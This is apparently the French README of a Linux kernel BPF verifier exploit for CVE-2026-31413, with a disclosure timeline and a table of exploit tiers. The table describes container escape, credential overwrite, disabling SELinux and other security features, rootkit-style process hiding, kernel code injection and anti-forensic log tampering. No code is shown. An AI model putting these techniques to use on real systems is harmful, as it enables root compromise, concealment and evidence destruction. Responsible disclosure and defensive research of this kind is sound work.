c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")Avertissement : Ce code d'exploit est publié à des fins éducatives et de recherche défensive après divulgation responsable et fusion du correctif. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou n'avez pas d'autorisation explicite de tester. L'auteur n'est pas responsable d'une mauvaise utilisation.
CVE-2026-31413 - Corrigé dans Linux 7.0-rc5. Versions affectées : 6.12.75+ (backport stable) jusqu'à 7.0-rc4.
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| Tier | File | Capability |
|---|
| 1 | exploit.c / exploit_gke.c | Évasion de conteneur - détournement de vtable + écrasement de modprobe_path (l'exploit principal décrit ci-dessus) |
| v2 | exploit_gke_v2.c | Écrasement de creds data-only - pas de détournement de vtable, pas de modprobe_path, pas d'interaction avec le système de fichiers. Détecte automatiquement la disposition de task_struct. Fenêtre de corruption de mappage nulle. L'exploit recommandé. |
| 2 | tier2_cred_overwrite.c | Écriture directe de creds - parcourir la chaîne task_struct, trouver la tâche courante, mettre à zéro uid/gid/caps dans struct cred pour un root instantané |
| 3 | tier3_syscall_hook.c | Hooking de la table des appels système - parcourir les tables de pages pour rendre la table des appels système inscriptible, échanger un gestionnaire, l'appeler depuis l'espace utilisateur, restaurer |
| 4 | tier4_security_disable.c | Contournement des sous-systèmes de sécurité - désactiver SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict ; vérifier via /proc |
| 5 | tier5_cross_container.c | Vol de credentials entre conteneurs - énumérer les structures nsproxy, trouver le task_struct d'un PID cible dans un autre namespace, modifier ses creds |
| 6 | tier6_persistence.c | Persistance déclenchée par le noyau - écraser modprobe_path et core_pattern pour exécuter des charges utiles de l'attaquant lors d'erreurs de format binaire et de plantages |
| 7 | tier7_hardware.c | Introspection au niveau matériel - dumper l'IDT, lire/décoder CR0/CR4, parcourir les tables de pages avec la matrice de permissions complète, récupérer la base KASLR |
| 8 | tier8_dkom_cloak.c | Cloaking de processus DKOM - forker un enfant, trouver son task_struct, le retirer de la liste des tâches du noyau (invisible pour ps/itérateurs de tâches), relinker |
| 9 | tier9_code_inject.c | Injection de code noyau à chaud - patcher la PMD .text pour la rendre inscriptible, écraser le prologue de sys_getuid avec un shellcode (mov rax, 0x1337; ret), l'appeler depuis l'espace utilisateur, restaurer |
| 10 | tier10_anti_forensics.c | Anti-forensique - dumper les internes du ring buffer printk, altérer les variables forensiques (ftrace, audit, dmesg_restrict, kptr_restrict), lecture/écriture du texte du buffer de log du noyau |
| Date | Événement |
|---|
| 2026-01-14 | bffacdb80b93 introduit maybe_fork_scalars() dans 7.0-rc1 |
| 2026-03-04 | Bug rétroporté vers la branche stable 6.12.y sous dea9989a3f |
| 2026-03-11 | Je trouve le bug lors de l'audit du vérificateur |
| 2026-03-12 | Lecture/écriture hors limites confirmée, exploit fonctionnel |
| 2026-03-13 | PoC d'évasion de conteneur terminé, vidéo enregistrée |
| 2026-03-14 | Correctif v3 envoyé à [email protected] |
| 2026-03-22 | Correctif fusionné par Alexei Starovoitov dans bpf/bpf.git |
| 2026-04-06 | Linus fusionne le tag bpf-fixes dans mainline |
| 2026-04-12 | CVE-2026-31413 assignée par Greg Kroah-Hartman |